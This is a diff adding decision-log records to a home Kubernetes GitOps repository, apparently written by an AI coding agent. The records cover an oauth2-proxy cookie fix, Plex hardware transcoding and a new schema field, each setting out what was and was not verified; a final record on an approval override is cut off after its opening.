+    (`_oauth2_proxy_sonarr_csrf` as a session name) → fired; zone-wide `--cookie-domain` on pihole
+    → 2 failures; crafty's `--cookie-name` deleted → unregistered-default-heir + 2-way collision;
+    shared proxy renamed → **stale register entry** failure.
+  - A **false positive was found and fixed** by this testing: `platform/oauth2-proxy/forward-auth-cec.yaml`
+    contains `serviceName: oauth2-proxy/oauth2-proxy:80` — an Envoy `namespace/service:port`
+    reference, not an image — which the first inventory scan counted as an unaudited instance. The
+    scan is now anchored on `image:`, and the near-miss is documented in the check.
+- **Gate:** toolbox `./ci/gate.sh` — exit code and stage list in the next section, because it is
+  not a pass and that belongs there.
+
+## What I did NOT verify
+
+- **Local gate: rc 3 (UNDETERMINED), not 0.** Green: `spec-immutability`, `decisions-log`, `lint`,
+  `l0`, `render-golden`, `l1`, `approval-policy`. **Skipped:** `gitea-settings` (no
+  `SETTINGS_API_TOKEN` locally) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset). Nothing
+  FAILED; nothing runtime was certified either. **rc 3 is UNDETERMINED, never green.** Touched
+  subset `R-GITOPS-02 R-IDP-02 R-IDP-06 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-PLAT-02 R-TEST-01
+  R-TEST-02 R-TEST-03 R-TEST-04` — **UNVERIFIED** at L2/L3, all twelve.
+- **`spec-immutability` was skipping because of a BUG IN MY TOOLING, not the environment.** The
+  worktree ENGINE shim in circulation mounts only the main checkout's `.git`, and `dev.sh`
+  computes the spec path from its own `REPO_ROOT` — which in a worktree is
+  `.claude/worktrees/agent-*/`, so `../home-network-k3s` does not resolve and it adds no spec
+  mount at all. The gate then reported the skip, and the skip read as "the one tolerated
+  environmental skip" while actually being a path bug being waved through. Adding
+  `-v /var/home/keith/source/home-network-k3s:/home-network-k3s:ro -e SPEC_REPO=/home-network-k3s`
+  makes **R-TEST-06 actually run and pass**. Worth putting in every worktree agent brief; the
+  two-mount shim in CLAUDE.md §3 should say so.
+- **CI: `gate / gate (pull_request)` reports FAILURE on `75a4029`, for exactly ONE reason, and it
+  is not this change.** Read from the job log rather than the tick:
+
+      [fail] approval-policy: a sensitive change lacks a non-author approval -> blocks merge
+      [fail] MERGE GATE: BLOCKED
+
+  Every substantive stage is **green in CI** — `gitea-settings: pass` (CI has the token my local
+  run does not), `decisions-log`, `lint`, `l0`, `render-golden`, `l1`. Skipped: `spec-immutability`
+  (the workflow does not check the spec repo out — the documented tolerated skip) and
+  `conformance` (declared). So CI is a **stricter, more complete** run than my local one on every
+  axis except the spec repo, and it agrees.
+  `infra/gitea/approval-policy.json` lists `conformance/**` as sensitive — *"the tests and the
+  harness; changing them changes what green MEANS"* — so this PR is **fail-closed pending a
+  non-author approving review**, which is CLAUDE.md §1 working, not a defect to route around.
+  **The red tick is the policy, and it clears when a human reviews it.** Note also that
+  `gate / conformance (pull_request)` reports `success` with description **"Has been skipped"** —
+  the precise trap CLAUDE.md §2b names; it certifies nothing.
+- **A SUCCESSFUL SIGN-IN, ANYWHERE.** The strongest post-fix evidence is the *absence* of the
+  eviction fingerprint on crafty (0 `removing session`, 0 `cookie signature not valid`, across
+  13h 52m) against radarr's 8-and-8. That is directional and I believe it. But crafty logged
+  **0 `AuthSuccess`** in the same window, so no session has been observed working end to end on a
+  fixed instance. Whoever closes this out should re-measure crafty **after real sign-in traffic**.
+- **No browser round-trip by me at all**, for any of the three defects. Reproducing the collision
+  needs two gated apps visited in one session. The concurrent jackett branch does carry an observed
+  log-level reproduction (interleaved radarr/jackett `removing session` deleting a clean session
+  26s after login) — real evidence for the MECHANISM, and it is theirs, not mine.
+- **`--cookie-refresh=2m30s` has never been exercised.** The value is derived from a measured
+  300.000s access-token lifetime and is asserted to sit inside `(0, 300s)`, but no session has been
+  held past the five-minute cliff to watch a refresh succeed. If Keycloak's refresh-token or SSO
+  idle timeouts are shorter than expected, the symptom moves rather than disappears. **This is the
+  fix most likely to need a second pass**, and the first thing to watch after merge.
+- **The `metrics` port has never been fetched.** The listener is asserted to start by flag
+  presence only; nobody has curled `:44180` on a rendered pod. And it is unreachable by design
+  until the Service/policy/ServiceMonitor wiring lands — see above.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. Cluster access was
+  read-only throughout; the one container I ran was the oauth2-proxy image locally under podman to
+  read its `--help`. The running pods are still the pre-fix spec. **Merging is what deploys**, and
+  it will roll five Deployments; every user's existing session on those five apps is invalidated by
+  the cookie rename and they will re-authenticate once. Radarr/sonarr/qbittorrent use
+  `strategy: Recreate` on RWO volumes, so there is a brief gap per app. Pick the moment — and
+  note this now changes **three** flags plus a port on all five, so a bad `--cookie-refresh` value
+  would surface as five apps misbehaving, not one.
+- **The live flags are not re-measured by the check.** git is not the cluster. I measured the live
+  pods by hand, once; nothing in the gate re-reads them, so hand-applied drift would be invisible
+  to it. A live-state assertion is L2 and is not written.
+- **`--cookie-refresh` and `--metrics-address` are UNGATED, and I found out why.** Nothing in
+  `ci/` or `.gitea/` runs `catalog/render.py --selftest` — I grepped for it. So the twenty-odd
+  assertions in that selftest, including the six I just added, are dev-time only: a future edit
+  that drops either flag *and* re-renders the goldens would pass the entire merge gate.
+  `render-golden` catches accidental drift (golden vs renderer) but not a deliberate removal of
+  both together, and my L0 check deliberately does not cover these two flags. **The repo already
+  has the precedent for the fix and the one-line shape of it:**
+  `conformance/tests/l0-static/auditability-proofs-producible/check.sh:291` drives
+  `conformance/lib/<tool> --selftest` as a subprocess for exactly this reason — its own header
+  says it does so "because nothing [else] drives them". Adding `catalog/render.py` to that list,
+  or giving the renderer its own scope-declaring L0 test, closes it. I did not do it here because
+  it widens an already review-blocked PR into a third subject; it is the highest-value follow-up
+  in this entry.
+- **Log-derived counts are a weak instrument and I did not strengthen them.** `kubectl logs
+  --since=` returns what the kubelet still retains, so an old, busy container's window may be
+  truncated; and `No valid authentication in request` counts unauthenticated first hits and XHR
+  polls indiscriminately. The `cookie signature not valid` / `removing session` pair is the only
+  collision-specific signal in there, and it is the one I leaned on. None of this is gated —
+  there is no alert on it and no L2 check reads it.
+- **The cookie-secrets' distinctness is not gated either.** It was measured out of band and is
+  asserted nowhere. If they were ever made identical the collision would become harmless — but
+  sharing one session-encryption key across trust zones is a worse idea than the bug it would mask,
+  so the check does not offer it as an alternative and does not look for it.
+- **The shared proxy's own configuration is unchanged and untested by me.** I did not touch
+  `platform/oauth2-proxy/**` (owned by another agent this cycle); the check only reads it.
+- **Nothing about group authorization, CSRF behaviour, or session contents.** Names and domains only.
+- **`vars.CLUSTER_AVAILABLE` is still unset in CI**, so the PR's green tick — if it goes green —
+  proves the L0/L1 offline subset and nothing about runtime.

decisions/2026-09-30-plex-quicksync.md

@@ -0,0 +1,174 @@
+---
+date: 2026-09-30
+branch: feat/plex-quicksync
+title: Plex opts into `hardware.gpu: intel-quicksync` — the device mount is GitOps, the Plex-side toggle is a documented manual step, and hardware transcoding has NOT been observed working
+---
+
+## What changed
+
+Three things, and the third is the point of the branch.
+
+1. **`catalog/plex.yaml`** — added the four lines the whole feature reduces to:
+
+   ```yaml
+   hardware:
+     gpu: intel-quicksync
+   ```
+
+   placed between `env` and `exposure` to match the schema's own property order, with ~48 lines of
+   comment in the file's established style. The comment records: the field is **intent, not
+   mechanism** (a later move to the Intel device plugin is a `render.py` change and this block does
+   not move); that `/dev/dri/renderD128` is present on **all three** prod nodes with `i915` bound;
+   **why a `supplementalGroups` entry would be inert** (the image's cont-init hook does the group
+   work inside the container and `s6-setuidgid` replaces the process group list from `/etc/group`);
+   why `DirectoryOrCreate` is the load-bearing safe failure mode (`apps-wave-0` is `wait: true` with
+   `apps-wave-1` depending on it, so a failed mount would stall the whole app tier for a feature
+   that is not load-bearing); and that the Plex-side toggle is a **separate manual operator step**,
+   pointing at the new runbook.
+
+2. **`apps/wave-0/plex.yaml`** — re-rendered. Six added lines, nothing else, in the whole `apps/`
+   tree:
+
+   ```
+           - name: dri
+             mountPath: /dev/dri
+         - name: dri
+           hostPath:
+             path: /dev/dri
+             type: DirectoryOrCreate
+   ```
+
+3. **`runbooks/plex-quicksync.md`** (new), registered in `runbooks/kustomization.yaml`'s
+   `configMapGenerator` as `- plex-quicksync=plex-quicksync.md` and indexed in `runbooks/README.md`
+   under "Operator procedures". **The file alone would have been a 404** — the pod serves a
+   ConfigMap, not the git tree, and `conformance/tests/l0-static/alert-runbooks-resolvable` exists
+   precisely because "the file is in git" and "the URL resolves" are different claims. The page
+   covers: the GitOps/manual boundary as a table; the toggle (Settings → Transcoder → "Use hardware
+   acceleration when available", preference key `HardwareAcceleratedCodecs`); the real neighbouring
+   keys and the widely-cited one that **does not exist**; that the only proof is `Transcode (hw)` on
+   the Plex dashboard **and why no alert is possible**; the device-cgroup failure to expect first
+   with a concrete open() diagnostic and the Intel-device-plugin fallback; and the floating-`:latest`
+   caveat with a digest check.
+
+**Stacked on PR #27 (`feat/sd-hardware-capability`), which is open and unmerged.** This branch was
+cut from it rather than from `main`, so its one commit (`d9baa2a`, the schema + renderer + contract)
+is in this PR's range. That is deliberate: merging #27 is not an agent's action (CLAUDE.md §1), and
+duplicating its changes here would have been worse than showing them. **This must merge after #27.**
+
+Not done, deliberately: no `--emit-waves` (it writes into `clusters/base/`, a sensitive path that
+would force a human reviewer, and it is a no-op unless the *set* of files under `apps/` changes — it
+does not here). No `podSecurityContext`. No `nodeSelector`. No alert rule. No `kubectl apply`.
+
+### Two follow-ups left unclaimed, with the reasoning
+
+- **Transcode scratch is on the wrong medium, and it is invisible.** The image sets
+  `TranscoderTempDirectory=/transcode`, which is **not a volume** — it is the container's writable
+  overlay, i.e. the node's `/data`. That is NVMe on prod-2 but **SATA on prod-1 and prod-3**, so
+  transcode scratch performance changes silently on reschedule, with nothing reporting it. Both
+  candidate fixes need a **schema** change and so neither belongs in this PR: pin Plex to prod-2
+  (needs a `nodeSelector` field the schema does not have), or give `/transcode` a `medium: Memory`
+  emptyDir and transcode in RAM (~31 GiB per node; needs an emptyDir field the schema does not
+  have). **The RAM option is the better one** — it removes the node asymmetry outright instead of
+  working around it — which is exactly why it deserves its own PR and its own review rather than
+  being smuggled in behind a four-line catalog change. Documented in the runbook's "Known gaps".
+- **GuC/HuC firmware is not loaded** (`i915.enable_guc=0`). The cost is low-power H.264 **encode**
+  quality only; decode and this feature are unaffected. Changing it needs a kernel parameter plus a
+  **serialized rolling reboot** — an operator action under CLAUDE.md §5, on a cluster with a
+  documented history of that going badly (a prod node hung on a warm reboot on 2026-09-03). Kept
+  well clear of this PR.
+
+### Rebase note (2026-10-01, Ruth Okonkwo) — resolution only, no redesign
+
+Rebased onto `main` @ `08deb20` (was cut from `0fbf544`), restacked on the rebased
+`feat/sd-hardware-capability` (PR #27) so the stack stays coherent — this branch still carries
+exactly PR #27's commit plus its own, with no duplicate of anything already in `main`. The branch
+ref was force-updated with `--force-with-lease`, so PR #32 is the same PR with a new head.
+
+**The `catalog/render.py` conflict disappeared** once PR #27 was rebased; it was never this
+branch's own conflict. **One conflict remained, in `runbooks/README.md`, purely textual.** PR #30
+(`fix/jackett-oauth2-proxy-session`, merged as `08deb20`) appended an `oauth2-proxy-session` index
+entry under *Operator procedures* at the same point this branch appended its `plex-quicksync` entry.
+**Both entries were kept, in full.** Ordering follows this file's existing convention, which is
+grouped/narrative rather than alphabetical (the *Nodes* section runs down/io/memory/disk/cpu):
+`plex-quicksync` sits next to `plex-claim` as the other Plex page, leaving `oauth2-proxy-session`
+adjacent to `crafty-admin-credential`, which cross-references the same sidecar gate. The change to
+`runbooks/README.md` is an 8-line pure insertion, so PR #30's entry is untouched.
+`runbooks/kustomization.yaml` auto-merged and **both** `configMapGenerator` entries are present.
+
+Re-verified after the resolution, on the rebased stack: `--selftest` PASS (rc 0); a full re-render
+reproduces every committed golden byte-identically; and the **only** `apps/` diff against the new
+`main` is `apps/wave-0/plex.yaml`, confined to the expected six lines (the `dri` mount and its
+`DirectoryOrCreate` hostPath volume). No other service's golden moved — PR #28 added ~176 lines of
+oauth2-proxy sidecar rendering, and this confirms by measurement rather than assumption that Plex
+(`auth: native`, no sidecar) is unaffected by it.
+
+## What I verified
+
+- **The render is exactly the intended change, and nothing else moved.** After
+  `python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation` (exit 0,
+  silent): `git diff --stat apps/` = `apps/wave-0/plex.yaml | 6 ++++++`, and
+  `git status --porcelain apps/` = a single ` M apps/wave-0/plex.yaml`. Read line by line, the diff
+  is the `dri` volumeMount and the `dri` hostPath volume, and nothing more. **Specifically checked:**
+  the same invocation also rewrites `apps/wave-1/keycloak.yaml` and `apps/wave-0/vm-demo.yaml`, which
+  are git-tracked but excluded from the golden comparison by `RENDER_GOLDEN_NOT_ONBOARDED` in
+  `ci/render-golden.sh` — a spurious diff there would have landed **ungated**. Neither file shows a
+  diff; whole-repo `git status --porcelain` lists only `apps/wave-0/plex.yaml` and `catalog/plex.yaml`
+  plus my new files.
+- **The rendered output matches what the contract promises** — `schemas/renderer-contract.md`
+  `### hardware` says exactly two things (a `/dev/dri` hostPath with `type: DirectoryOrCreate` and a
+  read-write mount on the app container) and exactly two things appeared. No `securityContext`, no
+  `nodeSelector`, no resources in the diff.
+- **The runbook is projected into the server, not merely committed.** `runbooks/kustomization.yaml`
+  carries `- plex-quicksync=plex-quicksync.md`, whose shape matches the generator-entry regex the
+  L0 check parses; the extensionless key is what makes `/runbooks/plex-quicksync` a plain static
+  lookup. Also indexed in `runbooks/README.md`.
+- **The runbook clears the L0 quality floor** that `alert-runbooks-resolvable` applies to
+  alert-linked pages, even though nothing links to this one (it is advisory for an unreferenced
+  page): all four required sections (`## What this means here`, `## First commands`,
+  `## Likely causes, most likely first`, `## When to escalate or stop`), well over the 1500-byte
+  floor, `dev.sh` used throughout, and `--context k3s-prod` on every command.
+- **The gate.** See the run recorded in the PR description for the per-stage table and the real rc.
+- **No secret was printed.** Every `Preferences.xml` read in the runbook greps one named key, and the
+  page states explicitly why: the file holds `PlexOnlineToken`. Nothing was `sops -d`'d.
+
+## What I did NOT verify
+
+**Hardware transcoding has NOT been observed working.** Nothing in this branch is evidence that it
+does. A green gate here proves the manifest renders and the golden matches — it proves nothing about
+runtime behaviour, and `vars.CLUSTER_AVAILABLE` is unset so L2/L3 conformance did not run at all.
+
+- **The device-cgroup question is OPEN, and it is the largest remaining technical risk.** Whether
+  containerd on this k3s build permits a **non-privileged** pod to `open()` a bind-mounted character
+  device is **UNVERIFIED**. It can only be settled by deploying and trying. The container inits as
+  uid 0, which settles *file* permissions, but uid 0 does **not** bypass the cgroup device gate — and
+  the two failures look identical from the outside. If it is refused, the fallback is the Intel
+  Device Plugin (`gpu.intel.com/i915`), which is a `catalog/render.py` change plus a re-render with
+  **no ServiceDefinition edit**; `privileged: true` is not available (Kyverno
+  `restrict-host-namespaces` is Enforce). The runbook has the diagnostic sequence.
+- **The Plex-side toggle was still unset at the time of writing.** `HardwareAcceleratedCodecs` was
+  **absent** from `Preferences.xml` — the toggle has never been enabled on this server. Until an
+  operator ticks it in the UI, this branch changes the pod spec and **nothing about transcoding**.
+  That is the whole reason the runbook exists.
+- **No metric, so no alert, so no automated detection — permanently.** `catalog/plex.yaml` declares
+  no `metricsEndpoint`, so Plex renders no ServiceMonitor; there is no transcode-mode signal for a
+  rule to evaluate. A silent degradation to software transcoding (a node losing its iGPU, the
+  `DirectoryOrCreate` path) will **not** be reported by anything. I deliberately did not add an
+  alert: with no metric behind it, it could never fire, and this repo has been burned at scale by
+  exactly that. Closing the gap honestly means an exporter first.
+- **I did not re-derive this session's node or in-container measurements.** The three-node
+  `renderD128`/`i915`/GID-992 facts, the cont-init hook behaviour, the `s6-setuidgid` group
+  replacement, the `PLEX_PREFERENCE*` absence, the six `setPref` keys and the
+  `HardwareAcceleratedCodecs` string were established earlier in this session and are cited, not
+  re-measured, by me. Per CLAUDE.md §2b, treat this file as a record of belief and re-measure against
+  the cluster before relying on any of it.
+- **The image is a floating tag.** Everything known about the hook came from digest
+  `sha256:e0ab27395614…` (`plexmediaserver 1.43.4.10903`), while the Deployment runs
+  `plexinc/pms-docker:latest` with `imagePullPolicy: Always`. A silent pull can invalidate the
+  "no `supplementalGroups` needed" conclusion **with no commit in this repo**. Not guarded against —
+  the runbook tells the reader to re-check the hook after an image bump, which is documentation, not
+  enforcement.
+- **I did not verify the live Gitea gate state** (branch protection, required contexts, runner
+  online) for this PR. Per §2b that must be queried, not read out of `CLAUDE.md`'s table; I did not
+  query it.
+- **`/runbooks/plex-quicksync` was not fetched.** The L0 check asserts every static precondition for
+  an HTTP 200; it does not make the request, and I did not either.

decisions/2026-09-30-sd-hardware-capability.md

@@ -0,0 +1,204 @@
+---
+date: 2026-09-30
+branch: feat/sd-hardware-capability
+title: ServiceDefinition gains a `hardware` capability field — `gpu: intel-quicksync` mounts /dev/dri and nothing else; the enum is what keeps the mechanism swappable
+---
+
+## What changed
+
+A new optional top-level ServiceDefinition property, `hardware`, with one optional member,
+`gpu`, whose enum today has exactly one value: `intel-quicksync`. **No catalog entry uses it.**
+This PR delivers the capability; consuming it (Plex) is separate work on top.
+
+- `schemas/servicedefinition.schema.json` — adds `hardware` (object, `additionalProperties: false`,
+  `minProperties: 1`) with `gpu` (enum `["intel-quicksync"]`). Schema version bumped **1.7.0 →
+  1.8.0**, changelog entry prepended to the schema `description` per that file's own convention.
+- `catalog/render.py` — two module-level constants (`DRI_VOLUME_NAME`, `DRI_DEVICE_DIR`) and the
+  emission in `r_deployment`.
+- `schemas/renderer-contract.md` — new `### hardware` field-mapping section, plus cross-field
+  invariant **8** in that file's numbered list.
+- `schemas/README.md` — its `**Schema version:**` line said `1.0.0`; it had been stale since 1.1.0.
+  Synced to 1.8.0 and annotated that the schema `description` is the changelog of record. Added one
+  bullet to "Cross-field rules" for the new enum. That was the whole of the staleness; nothing
+  ballooned.
+
+**What the renderer emits** for `hardware.gpu: intel-quicksync`, on the app container only (never a
+sidecar), and it is exactly two things:
+
+1. a hostPath volume `dri` → `/dev/dri`, `type: DirectoryOrCreate`;
+2. a read-write `volumeMount` of `dri` at `/dev/dri` on the app container (deliberately not
+   `readOnly` — VA-API opens the render node read-write).
+
+**Mounting the device is sufficient.** It emits **no** `privileged: true` (Kyverno
+`restrict-host-namespaces` is Enforce on app namespaces and it is not needed), **no** `nodeSelector`
+(placement is a separate concern with its own justification), **no** resource requests (there is no
+app-container resource render path), and — the one that is worth spelling out — **no
+`podSecurityContext.supplementalGroups`**.
+
+**Why no `supplementalGroups`, when `/dev/dri/renderD128` is `root:render 0660`.** An earlier
+revision of this branch merged the host `render` GID into `supplementalGroups`. **It was measured to
+be a no-op and has been removed.** In the running container on prod-2, 2026-09-30:
+
+    PID 1   s6-svscan            Uid: 0     Gid: 0     Groups: 0
+    pid 246 Plex Media Server    Uid: 1000  Gid: 1000  Groups: 100 1000
+
+`/etc/services.d/plex/run` ends in `exec s6-setuidgid plex …`, and the child's group list is exactly
+the `/etc/group` account-database list — root's gid `0`, which PID 1 holds, has **vanished**. That is
+a `setgroups()` that *replaces* rather than appends, so anything Kubernetes puts in
+`supplementalGroups` reaches `s6-svscan` and is discarded before the app ever starts. What actually
+works is the image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner`, which `find`s
+every char device under `/dev/dri`, `stat -c '%g'`s its GID, `groupadd`s a matching group inside the
+container when none exists, and `usermod -a -G`s the app user into it — every start, nothing
+hardcoded; `cont-init.d` completes before `services.d`, so the database is correct at exec time.
+
+Shipping an inert `supplementalGroups` would have been worse than shipping nothing: it would read as
+the mechanism to whoever debugs this next. The reasoning lives in a comment **at the emission site**
+and in `renderer-contract.md`, and `render.py --selftest` now asserts the *absence* of a
+`securityContext`, so it cannot be "helpfully" added back without a test failing. A pleasant
+corollary: because the hook re-`stat`s the device every start, host GID drift is **self-healing**,
+and no GID is pinned anywhere in this repo.
+
+**The design decision worth defending: the field is an enum of intent, not a device path.** The SD
+says *what class of host device the workload needs*; the hostPath and the mount exist only in
+`catalog/render.py`. Migrating to the Intel GPU device plugin (`gpu.intel.com/i915` resource
+requests, no hostPath at all) is then a renderer change with zero catalog edits. Both the schema
+`description` and the contract section say this explicitly, because the obvious "simplification" —
+letting an SD name `/dev/dri` — would push a platform implementation detail into the operator-facing
+contract and make that migration a catalog-wide edit.
+
+**`DirectoryOrCreate` is load-bearing.** A node that comes back without the render device (rebuild,
+BIOS change, driver regression, hardware swap) must degrade the workload to software transcoding,
+not fail the mount: `apps-wave-0` is `wait: true` and `apps-wave-1` `dependsOn` it, so a failed
+hostPath mount stalls the entire app tier for the sake of a feature that is not load-bearing.
+`/dev` is tmpfs, so the empty directory the kubelet creates on such a node leaves nothing durable
+behind. Do not "tighten" it to `Directory`. The reasoning is recorded at the emission site.
+
+### Rebase note (2026-10-01, Ruth Okonkwo) — resolution only, no redesign
+
+Rebased onto `main` @ `08deb20` (was cut from `0fbf544`). Re-landed as a single cherry-pick onto
+current `main`; the branch ref was force-updated with `--force-with-lease`, so PR #27 is the same
+PR with a new head.
+
+**One conflict, in `catalog/render.py`, purely textual.** PR #28
+(`fix/oauth2-proxy-cookie-collision-fleet`, merged as `6caa5f2`) inserted its own constants blocks
+(`OAUTH2_ACCESS_TOKEN_LIFETIME_S` / `OAUTH2_COOKIE_REFRESH`, and `OAUTH2_PROXY_METRICS_PORT`) at the
+same insertion point immediately after `KEYCLOAK_ISSUER` that this branch used for
+`DRI_VOLUME_NAME` / `DRI_DEVICE_DIR`. The two blocks are unrelated and do not interact, so **both
+sides were kept in full**, oauth2-proxy's first and the hardware block after it. Nothing was
+dropped and nothing was rewritten: the rebased commit adds the **same 126 `render.py` lines** as the
+pre-rebase commit (verified by comparing the added-line sets) and deletes none. In particular the
+`supplementalGroups`-is-deliberately-not-emitted and `DirectoryOrCreate`-is-load-bearing comments
+survive verbatim.
+
+Re-verified after the resolution: `--selftest` PASS (rc 0), and a full re-render still produces a
+**zero** diff in `apps/` — this PR remains inert, as it must be while no ServiceDefinition opts in.
+
+## What I verified
+
+Measured, in this worktree, on this branch:
+
+- **`python3 catalog/render.py --selftest` → `render.py selftest: PASS`, rc 0.** New cases in the
+  existing `check(...)` style: the positive (volume + mount, and *no* `securityContext`, *no*
+  privileged, *no* nodeSelector), the negative that matters (an SD without `hardware` gains no
+  volume, no volumeMount and no `securityContext` — mirroring the existing `podSecurityContext`
+  negative), and a pass-through case (an SD declaring both `hardware` and its own
+  `podSecurityContext: {fsGroup: 1001, supplementalGroups: [44]}` keeps it **exactly** as written).
+- **The self-tests actually bite.** I mutated the guard (`if hw_gpu == "intel-quicksync":` → `if
+  True:`) in a scratch copy and re-ran: **rc 1**, failing on "an SD without `hardware` must gain no
+  dri volume, no mount and no securityContext". A test that cannot fail is not a test; this one can.
+- **Re-render is a zero diff.**
+  `python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation` then
+  `git diff --stat apps/` → **empty**, and `git status --porcelain apps/` → **empty** (so the two
+  not-onboarded by-products, `apps/wave-1/keycloak.yaml` and `apps/wave-0/vm-demo.yaml`, were
+  rewritten byte-identically and needed no revert). The change is inert until a service opts in.
+- **Schema validity and catalog conformance.** `Draft202012Validator.check_schema` passes; all
+  **12** `catalog/*.yaml` validate with **0** errors. On the new field specifically: `gpu:
+  intel-quicksync` accepted; `gpu: /dev/dri` rejected (enum); `hardware: {gpu: …, path: …}` rejected
+  (`additionalProperties: false`); `hardware: {}` rejected (`minProperties: 1`).
+- **Hand-checked the emitted YAML** by rendering a throwaway SD carrying `hardware`, a Longhorn
+  volume and its own `podSecurityContext: {runAsUser: 1000, supplementalGroups: [44]}`. Result:
+  `volumeMounts` = config then `{name: dri, mountPath: /dev/dri}`; `volumes` = the PVC then
+  `{name: dri, hostPath: {path: /dev/dri, type: DirectoryOrCreate}}`; `securityContext` =
+  `{runAsUser: 1000, supplementalGroups: [44]}` — i.e. **unchanged**, nothing appended. That toy SD
+  was never written into `catalog/`.
+- **GATE: `rc 3` — UNDETERMINED, NOT green.** Run in the pinned toolbox from this worktree with
+  both CLAUDE.md §3 workarounds (`DEV_KUBECONFIG=/dev/null`, and an `ENGINE` shim bind-mounting the
+  main checkout's `.git` at its own absolute path). Diff base `origin/main @ 0fbf544d5e2f`; touched
+  requirements `R-DNS-03 R-GITOPS-02 R-IDP-02`. Run **four** times on this branch with an identical
+  result each time, most recently against tree `c132893045b1` — the final commit differs from that
+  run only by this paragraph. Per stage:
+
+  | stage | result |
+  |---|---|
+  | spec-immutability | **SKIPPED** — sibling spec repo not at `/work/../home-network-k3s`. Expected from a worktree; tolerated by §3. |
+  | decisions-log | pass |
+  | lint | pass |
+  | l0 | pass — 19 offline cases, `0 failure(s), 0 skip(s), 0 unwired` |
+  | render-golden | pass — *"all 10 onboarded service golden(s) reproduce from the canonical render"* |
+  | l1 | pass — 3 offline checks, `0 failure(s), 0 skip(s), 0 unwired`; coverage 51/51 requirements scaffolded |
+  | approval-policy | pass (`event='none'`, not a pull_request event — N/A locally; it will evaluate for real on the PR) |
+  | gitea-settings | **SKIPPED** — `SETTINGS_API_TOKEN` unset. Expected; branch protection and runner registration are therefore UNVERIFIED by this run. |
+  | conformance (L2/L3) | **SKIPPED** — `CLUSTER_AVAILABLE!=true`. Phase-0 standing skip. |
+
+  The gate's own verdict: *"Stages that did not run: spec-immutability gitea-settings"*. **No stage
+  failed, and no stage skipped for a reason caused by this change.** rc 3 is reported as rc 3; I am
+  not calling this green.
+- **Blast radius of the schema change:** `hardware` is absent from every catalog entry, so
+  `apply_defaults` never materializes it and `s.get("hardware")` is `None` on all 12 — which is what
+  the zero diff above demonstrates rather than asserts.
+- **Touched no sensitive path.** Changes are confined to `schemas/`, `catalog/`, `decisions/`; per
+  `infra/gitea/approval-policy.json` none of those are sensitive. `conformance/**` and `clusters/**`
+  are untouched. I did not run `--emit-waves` (it writes `clusters/base/`, and the set of files
+  under `apps/` did not change).
+
+## What I did NOT verify
+
+- **Whether containerd's device cgroup permits a non-privileged pod to `open()` a bind-mounted char
+  device. Still unverified, and it is the single largest technical risk in this workstream.**
+  containerd installs a per-container **device cgroup** allow-list, and whether
+  `/dev/dri/renderD128` arriving as a bind-mounted device node is permitted by it on this
+  k3s/containerd version is **unmeasured**. Settling it requires applying a pod, which is an
+  operator action, not an agent one. The container's PID 1 running as uid 0 helps on the DAC side
+  but does **not** bypass the cgroup gate. If it blocks, the mount will succeed, the image's group
+  hook will do its job, and the `open()` will still fail — and the fallback is the Intel GPU device
+  plugin, which *sets* the cgroup entry. Note that that fallback is a **renderer-only change**: no
+  ServiceDefinition moves, because the authoring surface is an intent enum. That is the design
+  justifying itself, and it is the reason to keep the enum even if the hostPath mechanism loses.
+- **That a missing device degrades silently — and nothing will tell you.** This is the accepted cost
+  of `DirectoryOrCreate`. The workload will software-transcode and **no signal reports it**: media
+  apps in this catalog declare no `metricsEndpoint`, so no ServiceMonitor exists, and there is no
+  metric to alert on. I deliberately did **not** propose an alert, because an alert that cannot fire
+  is worse than none — see the 2026-09-13 correction in `renderer-contract.md` §`observability`,
+  where twelve monitors discovered zero targets. The only proof of hardware transcode is an operator
+  seeing it in the application's own dashboard.
+- **That "mounting the device is sufficient" generalizes beyond this one image.** It does not, and
+  I have not verified that it does. The claim was measured for an image that resolves the device
+  group itself in `cont-init.d`. A future consumer of `hardware.gpu` that runs non-root with no
+  equivalent hook would still need the group solved — and the fix for that case is a **renderer**
+  change (per-image handling, or the device plugin), never a new SD field. I scoped the claim in
+  `renderer-contract.md` rather than letting it read as general; the first such consumer must
+  re-measure.
+- **The feature now depends on a hook inside an image that floats.** The `cont-init.d` behaviour
+  above was read from digest `sha256:e0ab27395614…` (`plexmediaserver 1.43.4.10903`), but the
+  deployment runs `plexinc/pms-docker:latest` with `imagePullPolicy: Always`. **A silent pull can
+  change the behaviour this feature depends on, with no commit anywhere in this repo to show for
+  it** — and the failure would be the silent software-transcode described above. I have not fixed
+  that here (it is the Plex wiring's tag/digest decision, not the capability's), but it should not
+  be forgotten.
+- **GID drift is NOT on this list any more, deliberately.** An earlier revision pinned
+  `INTEL_RENDER_GID = 992` and listed "a node rebuild could move it" as an open risk. The hook
+  re-`stat`s the device on every start, so drift is self-healing and no GID is pinned anywhere. The
+  risk is retired, not overlooked.
+- **Anything on the live cluster.** I ran no `kubectl` and I opened no shell in any container. The
+  node facts (device present, `root:render` 0660, `i915` bound, no device plugin, no
+  `gpu.intel.com/*` advertised), the in-container measurements quoted above, and the Kyverno
+  posture (`restrict-host-namespaces` Enforce; no hostPath or `supplementalGroups`
+  restriction; no PSA labels on app namespaces) are **prior recon handed to me, not re-measured by
+  me**. Per CLAUDE.md §2b, treat them as second-hand until re-queried.
+- **That CI exercises the self-tests. It does not.** `git grep -- --selftest ci/` returns nothing —
+  no gate stage invokes the renderer's self-test. They are the executable spec and house style, and
+  I ran them by hand, but a future regression in this code path **will not be caught by the gate**.
+  Wiring `--selftest` into a gate stage is a real gap and is not part of this PR (`ci/` is a
+  sensitive path and would drag in a human reviewer for a change unrelated to this one).
+- **Runtime behaviour of any kind.** The gate proves the L0/L1 offline subset only;
+  `vars.CLUSTER_AVAILABLE` is unset, so L2/L3 conformance does not run in CI.

decisions/2026-10-01-admin-approval-override.md

@@ -0,0 +1,256 @@
+---
+date: 2026-10-01
+branch: fix/admin-approval-override
+title: Administrators can merge their own green PR — required_approvals 1 → 0, plus an attributed /approve-override for sensitive paths
+---
+
+## What changed
+
+**The problem, measured first.** `required_approvals: 1` on `main` was a lock-out, not a
+protection. Gitea refuses to let a pull request's author approve their own PR, and `jakman85` is
+the **only** collaborator (permission `owner`). So no account in existence could approve a PR the
+operator opened. Measured on the live API, 2026-10-01:
+
+| | |
